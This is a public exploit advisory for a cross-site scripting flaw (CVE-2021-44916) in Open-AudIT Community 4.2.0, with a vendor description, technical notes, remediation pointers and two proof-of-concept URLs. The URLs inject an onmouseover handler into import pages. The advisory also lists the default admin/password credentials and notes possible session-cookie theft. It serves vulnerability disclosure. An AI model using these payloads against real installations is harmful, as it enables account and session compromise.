# Exploit Title: Open-AudIT Community 4.2.0 - Cross-Site Scripting (XSS) (Authenticated)# Date: 01/11/2021# Exploit Author: Dominic Clark (parzival)# Vendor Homepage: https://opmantek.com/# Software Link: https://www.open-audit.org/downloads.php# Category: WebApps# Version: <= 4.2.0# Tested on: Windows 10# CVE: CVE-2021-44916# 1. Vendor Description# Open-AudIT is an application to tell you exactly what is on your network, how it is configured and when it changes.# Essentially, Open-AudIT is a database of information, that can be queried via a web interface.# Open-AudIT will run on both Windows and Linux systems. # 2. Technical Description# There is an issue with link creation in the GUI with Open-AudIT Community.# If a bad value is passed to the routine via a URL, javascript code can be executed.# This requires the user be logged in to Open-AudIT Community to trigger.# 3. Proof of Concept# Step 1: Login to Open-AudIT via the login page (default credentials are admin/password)# Step 2: Enter one of the following PoC URLs, this issue was observed to occur any time there is a file available to be imported: (e.g., http://localhost/open-audit/index.php/attributes/import)
Vulnerable URL 1:"http://localhost/open-audit/index.php/discoveries/import%22onmouseover%3d%22alert(1)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22"
Vulnerable URL 2:"http://localhost/open-audit/index.php/credentials/import%22onmouseover%3d%22alert(1)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22"# Step 3: Observe that the payload successfully executes and a popup is displayed. # This vulnerability can be exploited in conjuction with a social engineering attack to potentially obtain sensitive information such a users session cookie.# 4. Remediation# Apply the recommended workarounds and mitigations provided by Opmantek.# https://community.opmantek.com/display/OA/Errata+-+4.2.0+and+earlier+Javascript+vulnerability